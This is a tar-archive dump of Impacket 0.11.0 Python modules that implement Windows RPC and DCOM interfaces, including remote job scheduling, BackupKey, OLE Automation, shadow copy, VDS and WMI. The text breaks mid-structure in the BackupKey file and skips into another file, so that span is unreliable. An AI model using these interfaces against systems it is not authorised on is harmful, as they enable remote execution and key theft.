('ppAtInfo', LPAT_INFO), ('ErrorCode',ULONG), ) ################################################################################ # OPNUMs and their corresponding structures ################################################################################ OPNUMS = { 0 : (NetrJobAdd,NetrJobAddResponse ), 1 : (NetrJobDel,NetrJobDelResponse ), 2 : (NetrJobEnum,NetrJobEnumResponse ), 3 : (NetrJobGetInfo,NetrJobGetInfoResponse ), } ################################################################################ # HELPER FUNCTIONS ################################################################################ def hNetrJobAdd(dce, serverName = NULL, atInfo = NULL): netrJobAdd = NetrJobAdd() netrJobAdd['ServerName'] = serverName netrJobAdd['pAtInfo'] = atInfo return dce.request(netrJobAdd) def hNetrJobDel(dce, serverName = NULL, minJobId = 0, maxJobId = 0): netrJobDel = NetrJobDel() netrJobDel['ServerName'] = serverName netrJobDel['MinJobId'] = minJobId netrJobDel['MaxJobId'] = maxJobId return dce.request(netrJobDel) def hNetrJobEnum(dce, serverName = NULL, pEnumContainer = NULL, preferedMaximumLength = 0xffffffff): netrJobEnum = NetrJobEnum() netrJobEnum['ServerName'] = serverName netrJobEnum['pEnumContainer']['Buffer'] = pEnumContainer netrJobEnum['PreferedMaximumLength'] = preferedMaximumLength return dce.request(netrJobEnum) def hNetrJobGetInfo(dce, serverName = NULL, jobId = 0): netrJobGetInfo = NetrJobGetInfo() netrJobGetInfo['ServerName'] = serverName netrJobGetInfo['JobId'] = jobId return dce.request(netrJobGetInfo) impacket-impacket_0_11_0/impacket/dcerpc/v5/bkrp.py000066400000000000000000000112651446174712300223220ustar00rootroot00000000000000# Impacket - Collection of Python classes for working with network protocols. # # Copyright (C) 2023 Fortra. All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # # Description: # [MS-BKRP] Interface implementation # # Best way to learn how to use these calls is to grab the protocol standard # so you understand what the call does, and then read the test case located # at https://github.com/fortra/impacket/tree/master/tests/SMB_RPC # # Some calls have helper functions, which makes it even easier to use. # They are located at the end of this file. # Helper functions start with "h". # There are test cases for them too. # # Author: # Alberto Solino (@agsolino) # # ToDo: # [ ] 2.2.2 Client-Side-Wrapped Secret # from __future__ import division from __future__ import print_function from impacket.dcerpc.v5.ndr import NDRCALL, NDRPOINTER, NDRUniConformantArray from impacket.dcerpc.v5.dtypes import DWORD, NTSTATUS, GUID, RPC_SID, NULL from impacket.dcerpc.v5.rpcrt import DCERPCException from impacket import system_errors from impacket.uuid import uuidtup_to_bin, string_to_bin from impacket.structure import Structure MSRPC_UUID_BKRP = uuidtup_to_bin(('3dde7c30-165d-11d1-ab8f-00805f14db40', '1.0')) class DCERPCSessionError(DCERPCException): def __init__(self, error_string=None, error_code=None, packet=None): DCERPCException.__init__(self, error_string, error_code, packet) def __str__( self ): key = self.error_code if key in system_errors.ERROR_MESSAGES: error_msg_short = system_errors.ERROR_MESSAGES[key][0] error_msg_verbose = system_errors.ERROR_MESSAGES[key][1] return 'BKRP SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose) else: return 'BKRP SessionError: unknown error code: 0x%x' % self.error_code ################################################################################ # CONSTANTS ################################################################################ BACKUPKEY_BACKUP_GUID = string_to_bin("7F752B10-178E-11D1-AB8F-00805F14DB40") BACKUPKEY_RESTORE_GUID_WIN2K = string_to_bin("7FE94D50-178E-11D1-AB8F-00805F14DB40") BACKUPKEY_RETRIEVE_BACKUP_KEY_GUID = string_to_bin("018FF48A-EABA-40C6-8F6D-72370240E967") BACKUPKEY_RESTORE_GUID = string_to_bin("47270C64-2FC7-499B-AC5B-0E37CDCE899A") ################################################################################ # STRUCTURES ################################################################################ class BYTE_ARRAY(NDRUniConformantArray): item = 'c' class PBYTE_ARRAY(NDRPOINTER): referent = ( ('Data', BYTE_ARRAY), ) # 2.2.4.1 Rc4EncryptedPayload Structure class Rc4EncryptedPayload(Structure): structure = ( ('R3', '32s=""'), ('MAC', '20s=""'), ('SID', ':', RPC_SID), ('Secret', ':'), ) # 2.2.4 Secret Wrapped with Symmetric Key class WRAPPED_SECRET(Structure): structure = ( ('SIGNATURE', ' 0 THEN # PRINT Name of the method is rgBstrNames[0] # PRINT Parameters to above method are following # FOR Y = 1 to pcNames -1 # PRINT rgBstrNames[Y] # END FOR # END IF # END FOR i # ENDIF def enumerateMethods(iInterface): methods = dict() typeInfoCount = iInterface.GetTypeInfoCount() if typeInfoCount['pctinfo'] == 0: LOG.error('Automation Server does not support type information for this object') return {} iTypeInfo = iInterface.GetTypeInfo() iTypeAttr = iTypeInfo.GetTypeAttr() for x in range(iTypeAttr['ppTypeAttr']['cFuncs']): funcDesc = iTypeInfo.GetFuncDesc(x) names = iTypeInfo.GetNames(funcDesc['ppFuncDesc']['memid'], 255) print(names['rgBstrNames'][0]['asData']) funcDesc.dump() print('='*80) if names['pcNames'] > 0: name = names['rgBstrNames'][0]['asData'] methods[name] = {} for param in range(1, names['pcNames']): methods[name][names['rgBstrNames'][param]['asData']] = '' if funcDesc['ppFuncDesc']['elemdescFunc'] != NULL: methods[name]['ret'] = funcDesc['ppFuncDesc']['elemdescFunc']['tdesc']['vt'] return methods def checkNullString(string): if string == NULL: return string if string[-1:] != '\x00': return string + '\x00' else: return string class ITypeComp(IRemUnknown2): def __init__(self, interface): IRemUnknown2.__init__(self,interface) self._iid = IID_ITypeComp class ITypeInfo(IRemUnknown2): def __init__(self, interface): IRemUnknown2.__init__(self,interface) self._iid = IID_ITypeInfo def GetTypeAttr(self): request = ITypeInfo_GetTypeAttr() resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) return resp def GetTypeComp(self): request = ITypeInfo_GetTypeComp() resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) return ITypeComp(INTERFACE(self.get_cinstance(), b''.join(resp['ppTComp']['abData']), self.get_ipidRemUnknown(), target = self.get_target())) def GetFuncDesc(self, index): request = ITypeInfo_GetFuncDesc() request['index'] = index resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) return resp def GetNames(self, memid, cMaxNames=10): request = ITypeInfo_GetNames() request['memid'] = memid request['cMaxNames'] = cMaxNames resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) return resp def GetDocumentation(self, memid, refPtrFlags=15): request = ITypeInfo_GetDocumentation() request['memid'] = memid request['refPtrFlags'] = refPtrFlags resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) return resp class IDispatch(IRemUnknown2): def __init__(self, interface): IRemUnknown2.__init__(self,interface) self._iid = IID_IDispatch def GetTypeInfoCount(self): request = IDispatch_GetTypeInfoCount() resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) return resp def GetTypeInfo(self): request = IDispatch_GetTypeInfo() request['iTInfo'] = 0 request['lcid'] = 0 resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) return ITypeInfo(INTERFACE(self.get_cinstance(), b''.join(resp['ppTInfo']['abData']), self.get_ipidRemUnknown(), target = self.get_target())) def GetIDsOfNames(self, rgszNames, lcid = 0): request = IDispatch_GetIDsOfNames() request['riid'] = IID_NULL for name in rgszNames: tmpName = LPOLESTR() tmpName['Data'] = checkNullString(name) request['rgszNames'].append(tmpName) request['cNames'] = len(rgszNames) request['lcid'] = lcid resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) IDs = list() for id in resp['rgDispId']: IDs.append(id) return IDs def Invoke(self, dispIdMember, lcid, dwFlags, pDispParams, cVarRef, rgVarRefIdx, rgVarRef): request = IDispatch_Invoke() request['dispIdMember'] = dispIdMember request['riid'] = IID_NULL request['lcid'] = lcid request['dwFlags'] = dwFlags request['pDispParams'] = pDispParams request['cVarRef'] = cVarRef request['rgVarRefIdx'] = rgVarRefIdx request['rgVarRef'] = rgVarRefIdx resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) return resp impacket-impacket_0_11_0/impacket/dcerpc/v5/dcom/scmp.py000066400000000000000000000300641446174712300232460ustar00rootroot00000000000000# Impacket - Collection of Python classes for working with network protocols. # # Copyright (C) 2023 Fortra. All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # # Description: # [MS-SCMP]: Shadow Copy Management Protocol Interface implementation # This was used as a way to test the DCOM runtime. Further # testing is needed to verify it is working as expected # # Best way to learn how to use these calls is to grab the protocol standard # so you understand what the call does, and then read the test case located # at https://github.com/fortra/impacket/tree/master/tests/SMB_RPC # # Since DCOM is like an OO RPC, instead of helper functions you will see the # classes described in the standards developed. # There are test cases for them too. # # Author: # Alberto Solino (@agsolino) # from __future__ import division from __future__ import print_function from impacket.dcerpc.v5.ndr import NDRENUM, NDRSTRUCT, NDRUNION from impacket.dcerpc.v5.dcomrt import PMInterfacePointer, INTERFACE, DCOMCALL, DCOMANSWER, IRemUnknown2 from impacket.dcerpc.v5.dtypes import LONG, LONGLONG, ULONG, WSTR from impacket.dcerpc.v5.enum import Enum from impacket.dcerpc.v5.rpcrt import DCERPCException from impacket import hresult_errors from impacket.uuid import string_to_bin class DCERPCSessionError(DCERPCException): def __init__(self, error_string=None, error_code=None, packet=None): DCERPCException.__init__(self, error_string, error_code, packet) def __str__( self ): if self.error_code in hresult_errors.ERROR_MESSAGES: error_msg_short = hresult_errors.ERROR_MESSAGES[self.error_code][0] error_msg_verbose = hresult_errors.ERROR_MESSAGES[self.error_code][1] return 'SCMP SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose) else: return 'SCMP SessionError: unknown error code: 0x%x' % self.error_code ################################################################################ # CONSTANTS ################################################################################ # 1.9 Standards Assignments CLSID_ShadowCopyProvider = string_to_bin('0b5a2c52-3eb9-470a-96e2-6c6d4570e40f') IID_IVssSnapshotMgmt = string_to_bin('FA7DF749-66E7-4986-A27F-E2F04AE53772') IID_IVssEnumObject = string_to_bin('AE1C7110-2F60-11d3-8A39-00C04F72D8E3') IID_IVssDifferentialSoftwareSnapshotMgmt = string_to_bin('214A0F28-B737-4026-B847-4F9E37D79529') IID_IVssEnumMgmtObject = string_to_bin('01954E6B-9254-4e6e-808C-C9E05D007696') IID_ShadowCopyProvider = string_to_bin('B5946137-7B9F-4925-AF80-51ABD60B20D5') # 2.2.1.1 VSS_ID class VSS_ID(NDRSTRUCT): structure = ( ('Data','16s=b""'), ) def getAlignment(self): return 2 #2.2.1.2 VSS_PWSZ VSS_PWSZ = WSTR # 2.2.1.3 VSS_TIMESTAMP VSS_TIMESTAMP = LONGLONG error_status_t = LONG ################################################################################ # STRUCTURES ################################################################################ # 2.2.2.1 VSS_OBJECT_TYPE Enumeration class VSS_OBJECT_TYPE(NDRENUM): class enumItems(Enum): VSS_OBJECT_UNKNOWN = 0 VSS_OBJECT_NONE = 1 VSS_OBJECT_SNAPSHOT_SET = 2 VSS_OBJECT_SNAPSHOT = 3 VSS_OBJECT_PROVIDER = 4 VSS_OBJECT_TYPE_COUNT = 5 # 2.2.2.2 VSS_MGMT_OBJECT_TYPE Enumeration class VSS_MGMT_OBJECT_TYPE(NDRENUM): class enumItems(Enum): VSS_MGMT_OBJECT_UNKNOWN = 0 VSS_MGMT_OBJECT_VOLUME = 1 VSS_MGMT_OBJECT_DIFF_VOLUME = 2 VSS_MGMT_OBJECT_DIFF_AREA = 3 # 2.2.2.3 VSS_VOLUME_SNAPSHOT_ATTRIBUTES Enumeration class VSS_VOLUME_SNAPSHOT_ATTRIBUTES(NDRENUM): class enumItems(Enum): VSS_VOLSNAP_ATTR_PERSISTENT = 0x01 VSS_VOLSNAP_ATTR_NO_AUTORECOVERY = 0x02 VSS_VOLSNAP_ATTR_CLIENT_ACCESSIBLE = 0x04 VSS_VOLSNAP_ATTR_NO_AUTO_RELEASE = 0x08 VSS_VOLSNAP_ATTR_NO_WRITERS = 0x10 # 2.2.2.4 VSS_SNAPSHOT_STATE Enumeration class VSS_SNAPSHOT_STATE(NDRENUM): class enumItems(Enum): VSS_SS_UNKNOWN = 0x01 VSS_SS_CREATED = 0x0c # 2.2.2.5 VSS_PROVIDER_TYPE Enumeration class VSS_PROVIDER_TYPE(NDRENUM): class enumItems(Enum): VSS_PROV_UNKNOWN = 0 # 2.2.3.7 VSS_VOLUME_PROP Structure class VSS_VOLUME_PROP(NDRSTRUCT): structure = ( ('m_pwszVolumeName', VSS_PWSZ), ('m_pwszVolumeDisplayName', VSS_PWSZ), ) # 2.2.3.5 VSS_MGMT_OBJECT_UNION Union class VSS_MGMT_OBJECT_UNION(NDRUNION): commonHdr = ( ('tag', ULONG), ) union = { VSS_MGMT_OBJECT_TYPE.VSS_MGMT_OBJECT_VOLUME: ('Vol', VSS_VOLUME_PROP), #VSS_MGMT_OBJECT_DIFF_VOLUME: ('DiffVol', VSS_DIFF_VOLUME_PROP), #VSS_MGMT_OBJECT_DIFF_AREA: ('DiffArea', VSS_DIFF_AREA_PROP), } # 2.2.3.6 VSS_MGMT_OBJECT_PROP Structure class VSS_MGMT_OBJECT_PROP(NDRSTRUCT): structure = ( ('Type', VSS_MGMT_OBJECT_TYPE), ('Obj', VSS_MGMT_OBJECT_UNION), ) ################################################################################ # RPC CALLS ################################################################################ # 3.1.3 IVssEnumMgmtObject Details # 3.1.3.1 Next (Opnum 3) class IVssEnumMgmtObject_Next(DCOMCALL): opnum = 3 structure = ( ('celt', ULONG), ) class IVssEnumMgmtObject_NextResponse(DCOMANSWER): structure = ( ('rgelt', VSS_MGMT_OBJECT_PROP), ('pceltFetched', ULONG), ('ErrorCode', error_status_t), ) # 3.1.2.1 Next (Opnum 3) class IVssEnumObject_Next(DCOMCALL): opnum = 3 structure = ( ('celt', ULONG), ) class IVssEnumObject_NextResponse(DCOMANSWER): structure = ( ('rgelt', VSS_MGMT_OBJECT_PROP), ('pceltFetched', ULONG), ('ErrorCode', error_status_t), ) class GetProviderMgmtInterface(DCOMCALL): opnum = 3 structure = ( ('ProviderId', VSS_ID), ('InterfaceId', VSS_ID), ) class GetProviderMgmtInterfaceResponse(DCOMANSWER): structure = ( ('ppItf', PMInterfacePointer), ('ErrorCode', error_status_t), ) class QueryVolumesSupportedForSnapshots(DCOMCALL): opnum = 4 structure = ( ('ProviderId', VSS_ID), ('IContext', LONG), ) class QueryVolumesSupportedForSnapshotsResponse(DCOMANSWER): structure = ( ('ppEnum', PMInterfacePointer), ('ErrorCode', error_status_t), ) class QuerySnapshotsByVolume(DCOMCALL): opnum = 5 structure = ( ('pwszVolumeName', VSS_PWSZ), ('ProviderId', VSS_ID), ) class QuerySnapshotsByVolumeResponse(DCOMANSWER): structure = ( ('ppEnum', PMInterfacePointer), ('ErrorCode', error_status_t), ) # 3.1.4.4.5 QueryDiffAreasForVolume (Opnum 6) class QueryDiffAreasForVolume(DCOMCALL): opnum = 6 structure = ( ('pwszVolumeName', VSS_PWSZ), ) class QueryDiffAreasForVolumeResponse(DCOMANSWER): structure = ( ('ppEnum', PMInterfacePointer), ('ErrorCode', error_status_t), ) # 3.1.4.4.6 QueryDiffAreasOnVolume (Opnum 7) class QueryDiffAreasOnVolume(DCOMCALL): opnum = 7 structure = ( ('pwszVolumeName', VSS_PWSZ), ) class QueryDiffAreasOnVolumeResponse(DCOMANSWER): structure = ( ('ppEnum', PMInterfacePointer), ('ErrorCode', error_status_t), ) ################################################################################ # OPNUMs and their corresponding structures ################################################################################ OPNUMS = { } ################################################################################ # HELPER FUNCTIONS AND INTERFACES ################################################################################ class IVssEnumMgmtObject(IRemUnknown2): def __init__(self, interface): IRemUnknown2.__init__(self, interface) self._iid = IID_IVssEnumMgmtObject def Next(self, celt): request = IVssEnumMgmtObject_Next() request['ORPCthis'] = self.get_cinstance().get_ORPCthis() request['ORPCthis']['flags'] = 0 request['celt'] = celt resp = self.request(request, self._iid, uuid = self.get_iPid()) return resp class IVssEnumObject(IRemUnknown2): def __init__(self, interface): IRemUnknown2.__init__(self, interface) self._iid = IID_IVssEnumObject def Next(self, celt): request = IVssEnumObject_Next() request['ORPCthis'] = self.get_cinstance().get_ORPCthis() request['ORPCthis']['flags'] = 0 request['celt'] = celt dce = self.connect() resp = dce.request(request, self._iid, uuid = self.get_iPid()) return resp class IVssSnapshotMgmt(IRemUnknown2): def __init__(self, interface): IRemUnknown2.__init__(self, interface) self._iid = IID_IVssSnapshotMgmt def GetProviderMgmtInterface(self, providerId = IID_ShadowCopyProvider, interfaceId = IID_IVssDifferentialSoftwareSnapshotMgmt): req = GetProviderMgmtInterface() classInstance = self.get_cinstance() req['ORPCthis'] = classInstance.get_ORPCthis() req['ORPCthis']['flags'] = 0 req['ProviderId'] = providerId req['InterfaceId'] = interfaceId resp = self.request(req, self._iid, uuid = self.get_iPid()) return IVssDifferentialSoftwareSnapshotMgmt(INTERFACE(classInstance, ''.join(resp['ppItf']['abData']), self.get_ipidRemUnknown(), target = self.get_target())) def QueryVolumesSupportedForSnapshots(self, providerId, iContext): req = QueryVolumesSupportedForSnapshots() classInstance = self.get_cinstance() req['ORPCthis'] = classInstance.get_ORPCthis() req['ORPCthis']['flags'] = 0 req['ProviderId'] = providerId req['IContext'] = iContext resp = self.request(req, self._iid, uuid = self.get_iPid()) return IVssEnumMgmtObject(INTERFACE(self.get_cinstance(), ''.join(resp['ppEnum']['abData']), self.get_ipidRemUnknown(),target = self.get_target())) def QuerySnapshotsByVolume(self, volumeName, providerId = IID_ShadowCopyProvider): req = QuerySnapshotsByVolume() classInstance = self.get_cinstance() req['ORPCthis'] = classInstance.get_ORPCthis() req['ORPCthis']['flags'] = 0 req['pwszVolumeName'] = volumeName req['ProviderId'] = providerId try: resp = self.request(req, self._iid, uuid = self.get_iPid()) except DCERPCException as e: print(e) from impacket.winregistry import hexdump data = e.get_packet() hexdump(data) kk = QuerySnapshotsByVolumeResponse(data) kk.dump() #resp.dump() return IVssEnumObject(INTERFACE(self.get_cinstance(), ''.join(resp['ppEnum']['abData']), self.get_ipidRemUnknown(), target = self.get_target())) class IVssDifferentialSoftwareSnapshotMgmt(IRemUnknown2): def __init__(self, interface): IRemUnknown2.__init__(self, interface) self._iid = IID_IVssDifferentialSoftwareSnapshotMgmt def QueryDiffAreasOnVolume(self, pwszVolumeName): req = QueryDiffAreasOnVolume() classInstance = self.get_cinstance() req['ORPCthis'] = classInstance.get_ORPCthis() req['ORPCthis']['flags'] = 0 req['pwszVolumeName'] = pwszVolumeName resp = self.request(req, self._iid, uuid = self.get_iPid()) return IVssEnumMgmtObject(INTERFACE(self.get_cinstance(), ''.join(resp['ppEnum']['abData']), self.get_ipidRemUnknown(), target = self.get_target())) def QueryDiffAreasForVolume(self, pwszVolumeName): req = QueryDiffAreasForVolume() classInstance = self.get_cinstance() req['ORPCthis'] = classInstance.get_ORPCthis() req['ORPCthis']['flags'] = 0 req['pwszVolumeName'] = pwszVolumeName resp = self.request(req, self._iid, uuid = self.get_iPid()) return IVssEnumMgmtObject(INTERFACE(self.get_cinstance(), ''.join(resp['ppEnum']['abData']), self.get_ipidRemUnknown(), target = self.get_target())) impacket-impacket_0_11_0/impacket/dcerpc/v5/dcom/vds.py000066400000000000000000000226531446174712300231050ustar00rootroot00000000000000# Impacket - Collection of Python classes for working with network protocols. # # Copyright (C) 2023 Fortra. All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # # Description: # [MS-VDS]: Virtual Disk Service (VDS) Protocol # This was used as a way to test the DCOM runtime. Further # testing is needed to verify it is working as expected # # Best way to learn how to use these calls is to grab the protocol standard # so you understand what the call does, and then read the test case located # at https://github.com/fortra/impacket/tree/master/tests/SMB_RPC # # Since DCOM is like an OO RPC, instead of helper functions you will see the # classes described in the standards developed. # There are test cases for them too. # # Author: # Alberto Solino (@agsolino) # from __future__ import division from __future__ import print_function from impacket.dcerpc.v5.ndr import NDRSTRUCT, NDRUniConformantVaryingArray, NDRENUM from impacket.dcerpc.v5.dcomrt import DCOMCALL, DCOMANSWER, IRemUnknown2, PMInterfacePointer, INTERFACE from impacket.dcerpc.v5.dtypes import LPWSTR, ULONG, DWORD, SHORT, GUID from impacket.dcerpc.v5.rpcrt import DCERPCException from impacket.dcerpc.v5.enum import Enum from impacket import hresult_errors from impacket.uuid import string_to_bin class DCERPCSessionError(DCERPCException): def __init__(self, error_string=None, error_code=None, packet=None): DCERPCException.__init__(self, error_string, error_code, packet) def __str__( self ): if self.error_code in hresult_errors.ERROR_MESSAGES: error_msg_short = hresult_errors.ERROR_MESSAGES[self.error_code][0] error_msg_verbose = hresult_errors.ERROR_MESSAGES[self.error_code][1] return 'VDS SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose) else: return 'VDS SessionError: unknown error code: 0x%x' % (self.error_code) ################################################################################ # CONSTANTS ################################################################################ # 1.9 Standards Assignments CLSID_VirtualDiskService = string_to_bin('7D1933CB-86F6-4A98-8628-01BE94C9A575') IID_IEnumVdsObject = string_to_bin('118610B7-8D94-4030-B5B8-500889788E4E') IID_IVdsAdviseSink = string_to_bin('8326CD1D-CF59-4936-B786-5EFC08798E25') IID_IVdsAsync = string_to_bin('D5D23B6D-5A55-4492-9889-397A3C2D2DBC') IID_IVdsServiceInitialization = string_to_bin('4AFC3636-DB01-4052-80C3-03BBCB8D3C69') IID_IVdsService = string_to_bin('0818A8EF-9BA9-40D8-A6F9-E22833CC771E') IID_IVdsSwProvider = string_to_bin('9AA58360-CE33-4F92-B658-ED24B14425B8') IID_IVdsProvider = string_to_bin('10C5E575-7984-4E81-A56B-431F5F92AE42') error_status_t = ULONG # 2.2.1.1.3 VDS_OBJECT_ID VDS_OBJECT_ID = GUID ################################################################################ # STRUCTURES ################################################################################ # 2.2.2.1.3.1 VDS_SERVICE_PROP class VDS_SERVICE_PROP(NDRSTRUCT): structure = ( ('pwszVersion',LPWSTR), ('ulFlags',ULONG), ) class OBJECT_ARRAY(NDRUniConformantVaryingArray): item = PMInterfacePointer # 2.2.2.7.1.1 VDS_PROVIDER_TYPE class VDS_PROVIDER_TYPE(NDRENUM): class enumItems(Enum): VDS_PT_UNKNOWN = 0 VDS_PT_SOFTWARE = 1 VDS_PT_HARDWARE = 2 VDS_PT_VIRTUALDISK = 3 VDS_PT_MAX = 4 # 2.2.2.7.2.1 VDS_PROVIDER_PROP class VDS_PROVIDER_PROP(NDRSTRUCT): structure = ( ('id',VDS_OBJECT_ID), ('pwszName',LPWSTR), ('guidVersionId',GUID), ('pwszVersion',LPWSTR), ('type',VDS_PROVIDER_TYPE), ('ulFlags',ULONG), ('ulStripeSizeFlags',ULONG), ('sRebuildPriority',SHORT), ) ################################################################################ # RPC CALLS ################################################################################ # 3.4.5.2.5.1 IVdsServiceInitialization::Initialize (Opnum 3) class IVdsServiceInitialization_Initialize(DCOMCALL): opnum = 3 structure = ( ('pwszMachineName', LPWSTR), ) class IVdsServiceInitialization_InitializeResponse(DCOMANSWER): structure = ( ('ErrorCode', error_status_t), ) # 3.4.5.2.4.1 IVdsService::IsServiceReady (Opnum 3) class IVdsService_IsServiceReady(DCOMCALL): opnum = 3 structure = ( ) class IVdsService_IsServiceReadyResponse(DCOMANSWER): structure = ( ('ErrorCode', error_status_t), ) # 3.4.5.2.4.2 IVdsService::WaitForServiceReady (Opnum 4) class IVdsService_WaitForServiceReady(DCOMCALL): opnum = 4 structure = ( ) class IVdsService_WaitForServiceReadyResponse(DCOMANSWER): structure = ( ('ErrorCode', error_status_t), ) # 3.4.5.2.4.3 IVdsService::GetProperties (Opnum 5) class IVdsService_GetProperties(DCOMCALL): opnum = 5 structure = ( ) class IVdsService_GetPropertiesResponse(DCOMANSWER): structure = ( ('pServiceProp', VDS_SERVICE_PROP), ('ErrorCode', error_status_t), ) # 3.4.5.2.4.4 IVdsService::QueryProviders (Opnum 6) class IVdsService_QueryProviders(DCOMCALL): opnum = 6 structure = ( ('masks', DWORD), ) class IVdsService_QueryProvidersResponse(DCOMANSWER): structure = ( ('ppEnum', PMInterfacePointer), ('ErrorCode', error_status_t), ) # 3.1.1.1 IEnumVdsObject Interface # 3.4.5.2.1.1 IEnumVdsObject::Next (Opnum 3) class IEnumVdsObject_Next(DCOMCALL): opnum = 3 structure = ( ('celt', ULONG), ) class IEnumVdsObject_NextResponse(DCOMANSWER): structure = ( ('ppObjectArray', OBJECT_ARRAY), ('pcFetched', ULONG), ('ErrorCode', error_status_t), ) # 3.4.5.2.14.1 IVdsProvider::GetProperties (Opnum 3) class IVdsProvider_GetProperties(DCOMCALL): opnum = 3 structure = ( ) class IVdsProvider_GetPropertiesResponse(DCOMANSWER): structure = ( ('pProviderProp', VDS_PROVIDER_PROP), ('ErrorCode', error_status_t), ) ################################################################################ # OPNUMs and their corresponding structures ################################################################################ OPNUMS = { } ################################################################################ # HELPER FUNCTIONS AND INTERFACES ################################################################################ class IEnumVdsObject(IRemUnknown2): def Next(self, celt=0xffff): request = IEnumVdsObject_Next() request['ORPCthis'] = self.get_cinstance().get_ORPCthis() request['ORPCthis']['flags'] = 0 request['celt'] = celt try: resp = self.request(request, uuid = self.get_iPid()) except Exception as e: resp = e.get_packet() # If it is S_FALSE(1) means less items were returned if resp['ErrorCode'] != 1: raise interfaces = list() for interface in resp['ppObjectArray']: interfaces.append(IRemUnknown2(INTERFACE(self.get_cinstance(), ''.join(interface['abData']), self.get_ipidRemUnknown(), target = self.get_target()))) return interfaces class IVdsProvider(IRemUnknown2): def GetProperties(self): request = IVdsProvider_GetProperties() request['ORPCthis'] = self.get_cinstance().get_ORPCthis() request['ORPCthis']['flags'] = 0 resp = self.request(request, uuid = self.get_iPid()) return resp class IVdsServiceInitialization(IRemUnknown2): def __init__(self, interface): IRemUnknown2.__init__(self, interface) def Initialize(self): request = IVdsServiceInitialization_Initialize() request['ORPCthis'] = self.get_cinstance().get_ORPCthis() request['ORPCthis']['flags'] = 0 request['pwszMachineName'] = '\x00' resp = self.request(request, uuid = self.get_iPid()) return resp class IVdsService(IRemUnknown2): def __init__(self, interface): IRemUnknown2.__init__(self, interface) def IsServiceReady(self): request = IVdsService_IsServiceReady() request['ORPCthis'] = self.get_cinstance().get_ORPCthis() request['ORPCthis']['flags'] = 0 try: resp = self.request(request, uuid = self.get_iPid()) except Exception as e: resp = e.get_packet() return resp def WaitForServiceReady(self): request = IVdsService_WaitForServiceReady() request['ORPCthis'] = self.get_cinstance().get_ORPCthis() request['ORPCthis']['flags'] = 0 resp = self.request(request, uuid = self.get_iPid()) return resp def GetProperties(self): request = IVdsService_GetProperties() request['ORPCthis'] = self.get_cinstance().get_ORPCthis() request['ORPCthis']['flags'] = 0 resp = self.request(request, uuid = self.get_iPid()) return resp def QueryProviders(self, masks): request = IVdsService_QueryProviders() request['ORPCthis'] = self.get_cinstance().get_ORPCthis() request['ORPCthis']['flags'] = 0 request['masks'] = masks resp = self.request(request, uuid = self.get_iPid()) return IEnumVdsObject(INTERFACE(self.get_cinstance(), ''.join(resp['ppEnum']['abData']), self.get_ipidRemUnknown(), target = self.get_target())) impacket-impacket_0_11_0/impacket/dcerpc/v5/dcom/wmi.py000066400000000000000000003646371446174712300231200ustar00rootroot00000000000000# Impacket - Collection of Python classes for working with network protocols. # # Copyright (C) 2023 Fortra. All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # # Description: # [MS-WMI]/[MS-WMIO] : Windows Management Instrumentation Remote Protocol. Partial implementation # # Best way to learn how to use these calls is to grab the protocol standard # so you understand what the call does, and then read the test case located # at https://github.com/fortra/impacket/tree/master/tests/SMB_RPC # # Since DCOM is like an OO RPC, instead of helper functions you will see the # classes described in the standards developed. # There are test cases for them too. # # Author: # Alberto Solino (@agsolino) # from __future__ import division from __future__ import print_function from struct import unpack, calcsize, pack from functools import partial import collections import collections.abc import logging import six from impacket.dcerpc.v5.ndr import NDRSTRUCT, NDRUniConformantArray, NDRPOINTER, NDRUniConformantVaryingArray, NDRUNION, \ NDRENUM from impacket.dcerpc.v5.dcomrt import DCOMCALL, DCOMANSWER, IRemUnknown, PMInterfacePointer, INTERFACE, \ PMInterfacePointer_ARRAY, BYTE_ARRAY, PPMInterfacePointer, OBJREF_CUSTOM from impacket.dcerpc.v5.dcom.oaut import BSTR from impacket.dcerpc.v5.dtypes import ULONG, DWORD, NULL, LPWSTR, LONG, HRESULT, PGUID, LPCSTR, GUID from impacket.dcerpc.v5.enum import Enum from impacket.dcerpc.v5.rpcrt import DCERPCException from impacket import hresult_errors, LOG from impacket.uuid import string_to_bin, uuidtup_to_bin from impacket.structure import Structure, hexdump def format_structure(d, level=0): x = "" if isinstance(d, collections.abc.Mapping): lenk = max([len(str(x)) for x in list(d.keys())]) for k, v in list(d.items()): key_text = "\n" + " "*level + " "*(lenk - len(str(k))) + str(k) x += key_text + ": " + format_structure(v, level=level+lenk) elif isinstance(d, collections.abc.Iterable) and not isinstance(d, str): for e in d: x += "\n" + " "*level + "- " + format_structure(e, level=level+4) else: x = str(d) return x try: from collections import OrderedDict except: try: from ordereddict.ordereddict import OrderedDict except: from ordereddict import OrderedDict class DCERPCSessionError(DCERPCException): def __init__(self, error_string=None, error_code=None, packet=None): DCERPCException.__init__(self, error_string, error_code, packet) def __str__( self ): if self.error_code in hresult_errors.ERROR_MESSAGES: error_msg_short = hresult_errors.ERROR_MESSAGES[self.error_code][0] error_msg_verbose = hresult_errors.ERROR_MESSAGES[self.error_code][1] return 'WMI SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose) else: # Let's see if we have it as WBEMSTATUS try: return 'WMI Session Error: code: 0x%x - %s' % (self.error_code, WBEMSTATUS.enumItems(self.error_code).name) except: return 'WMI SessionError: unknown error code: 0x%x' % self.error_code ################################################################################ # WMIO Structures and Constants ################################################################################ WBEM_FLAVOR_FLAG_PROPAGATE_O_INSTANCE = 0x01 WBEM_FLAVOR_FLAG_PROPAGATE_O_DERIVED_CLASS = 0x02 